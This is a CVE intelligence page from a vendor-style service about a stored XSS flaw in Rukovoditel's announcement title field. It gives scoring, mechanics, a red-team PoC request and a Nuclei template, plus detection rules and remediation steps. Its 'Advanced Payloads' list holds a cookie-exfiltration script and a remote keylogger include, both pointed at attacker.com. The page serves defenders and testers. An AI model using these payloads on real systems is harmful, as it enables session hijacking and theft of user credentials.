☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2022-44944

CVE-2022-44944 is a stored cross-site scripting (XSS) vulnerability in Rukovoditel version 3.
📅 PUBLISHED: 2022-12-02 00:00 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.06%
👁️
1.06% probability
26.4× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2022-44944 is a stored cross-site scripting (XSS) vulnerability in Rukovoditel version 3.2.1 and earlier. The flaw exists in the "Add Announcement" function, accessible at /index.php?module=help_pages/pages&entities_id=24. An authenticated attacker can inject arbitrary web scripts or HTML into the Title field, which is then stored and executed in the browsers of other users viewing the announcement. This can lead to data theft, session hijacking, or application defacement. The vulnerability has a CVSS v3.1 score of 5.4 (Medium) and a public proof-of-concept (PoC) is available via a Nuclei template.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Rukovoditel is a self-hosted PHP application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Users must manually update their installations to version 3.2.2 or later to remediate the issue.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – An attacker needs a valid user account.
  • User Interaction (UI): Required (R) – The victim must view the malicious announcement.
  • Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS makes it persistent and dangerous for all users.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the Title field of the "Add Announcement" feature. The application fails to sanitize or encode user input before storing it in the database and later rendering it in the browser.

Attack Flow:

  1. An authenticated attacker navigates to the announcement creation page.
  2. The attacker submits a POST request to /index.php?module=help_pages/pages&action=save&entities_id=24 with a malicious payload in the name parameter (e.g., <script>alert(document.domain)</script>).
  3. The application stores the payload in the database without proper sanitization.
  4. When any user (including administrators) views the announcements page, the malicious script executes in their browser context.

Root Cause: Lack of output encoding or input validation on the Title field. The application likely uses echo $title; or similar without htmlspecialchars() or equivalent escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Rukovoditel <= 3.2.1):

// In the announcement display function
echo $announcement['name']; // No sanitization

Patched Code (Rukovoditel >= 3.2.2):

// In the announcement display function
echo htmlspecialchars($announcement['name'], ENT_QUOTES, 'UTF-8'); // Proper encoding

The patch applies htmlspecialchars() to encode HTML special characters, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A valid user account on the target Rukovoditel instance.
  • Network access to the application.

Exploitation Steps:

  1. Log in to the application.
  2. Send a POST request to create a malicious announcement:
POST /index.php?module=help_pages/pages&action=save&entities_id=24&token=VALID_TOKEN HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

form_session_token=VALID_TOKEN&type=announcement&is_active=1&color=default&icon=&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&description=&start_date=&end_date=&sort_order=
  1. The payload <script>alert(document.domain)</script> is stored.
  2. Any user viewing the announcements page will trigger the script.

Advanced Payloads:

  • Session hijacking: <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
  • Keylogging: <script src="http://attacker.com/keylogger.js"></script>

Blue Team

Detection:

  • Monitor for POST requests to /index.php?module=help_pages/pages&action=save&entities_id=24 with suspicious name parameters containing <script> or other HTML tags.
  • Use the provided YARA and Sigma rules to detect malicious payloads in logs.

Hunting:

  • Search database entries in the help_pages table for HTML tags in the name column.
  • Review web server access logs for encoded script payloads in the name parameter.

Lab Setup:

  • Deploy a vulnerable Rukovoditel 3.2.1 instance using Docker or a local PHP environment.
  • Use the Nuclei template to automate testing.

Indicators of Compromise (IOCs)

Network IOCs:

  • POST requests to /index.php?module=help_pages/pages&action=save&entities_id=24 with name parameter containing <script> or %3Cscript%3E.
  • Outbound connections from the victim's browser to attacker-controlled domains (e.g., for cookie exfiltration).

Host IOCs:

  • Database entries in the help_pages table with HTML/JavaScript in the name column.
  • Web server logs showing encoded script payloads in the name parameter.

File IOCs:

  • None specific to this CVE, as it is a server-side vulnerability.

Detection Engineering

YARA Rule

rule CVE_2022_44944_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Rukovoditel announcements"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-44944"
    strings:
        $payload1 = "<script>" ascii wide nocase
        $payload2 = "onerror=" ascii wide nocase
        $payload3 = "onload=" ascii wide nocase
        $payload4 = "javascript:" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2022-44944 - Stored XSS in Rukovoditel Announcements
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of stored XSS in Rukovoditel
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/index.php?module=help_pages/pages&action=save&entities_id=24*'
        cs-uri-query|contains: 
            - '<script'
            - '%3Cscript%3E'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in announcements (unlikely)
level: high
tags:
    - attack.t1190
    - cve.2022.44944

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-44944 - Stored XSS in Rukovoditel Announcements"; flow:to_server,established; content:"POST"; http_method; content:"/index.php?module=help_pages/pages&action=save&entities_id=24"; http_uri; content:"name="; http_client_body; pcre:"/(<script|%3Cscript%3E|onerror=|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2022-44944

info:
  name: Rukovoditel <= 3.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Add Announcement function at /index.php?module=help_pages/pages&entities_id=24. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Title field.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to version 3.2.2 or later to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/14
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44944
    - http://rukovoditel.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-44944
    cwe-id: CWE-79
    epss-score: 0.00929
    epss-percentile: 0.76184
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve2022,cve,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=help_pages/pages&action=save&entities_id=24&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&type=announcement&is_active=1&color=default&icon=&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&description=&start_date=&end_date=&sort_order=

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true
# digest: 4b0a00483046022100e843388733175832662a0630197b5d8a595e23f52220479f1e6cde57242c8c1e022100d1050796ed16ff2c101083e9677b56ae60fd145eaa124dc682f864e5839a3432:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update Rukovoditel to version 3.2.2 or later, which includes proper output encoding.
  2. Input Validation: Implement server-side validation to reject HTML tags in the Title field.
  3. Output Encoding: Ensure all user-supplied data is encoded with htmlspecialchars() before rendering.

Compensating Controls:

  • Web Application Firewall (WAF): Deploy rules to block requests containing <script> or other XSS patterns in the name parameter.
  • Content Security Policy (CSP): Implement a strict CSP header to mitigate the impact of XSS even if it occurs.
  • Least Privilege: Restrict the ability to create announcements to trusted users only.

Long-Term Fix:

  • Adopt a security-focused development lifecycle with regular code reviews and automated security testing (SAST/DAST).

Report generated by Valters IT DevSecOps & CTI Division

{/* [Security Hash: B26590C611F65CFB2DBBF554] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2022-44944/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.